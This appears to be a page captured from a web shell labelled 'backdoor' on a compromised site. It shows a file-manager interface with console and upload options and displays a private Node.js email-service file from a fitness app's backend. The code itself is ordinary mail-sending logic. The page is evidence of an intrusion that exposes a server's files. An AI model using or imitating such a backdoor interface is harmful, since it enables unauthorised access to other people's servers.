Website : rimsha.abasa.com
backdoor
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
var
/
www
/
ah7-backend
/
src
/
services
/
Filename :
emailService.js
back
Copy
import { Verification_Email_Template, Welcome_Email_Template } from "../libs/EmailTemplate.js"; import { transporter } from "../config/Email.config.js"; import dotenv from 'dotenv'; dotenv.config(); export const SendVerificationCode = async (email, verificationCode) => { try { const response = await transporter.sendMail({ from: `"AH7 Fitness-App" <${process.env.SMTP_FROM}>`, // sender address to: email, // list of receivers subject: "Verify Your Email", // Subject line text: "Verify Your Email", // plain text body html: Verification_Email_Template.replace("{verificationCode}", verificationCode), // html body }); console.log("email send successfully", response); } catch (error) { console.log("email error", error); } } export const WelcomeEmail = async (email, name) => { try { const response = await transporter.sendMail({ from: `"AH7 Fitness-App" <${process.env.SMTP_FROM}>`, // sender address to: email, // list of receivers subject: "Verify Your Email", // Subject line text: "Verify Your Email", // plain text body html: Welcome_Email_Template.replace("{name}", name) // html body }); console.log("email send successfully", response); } catch (error) { console.log("email error", error); } }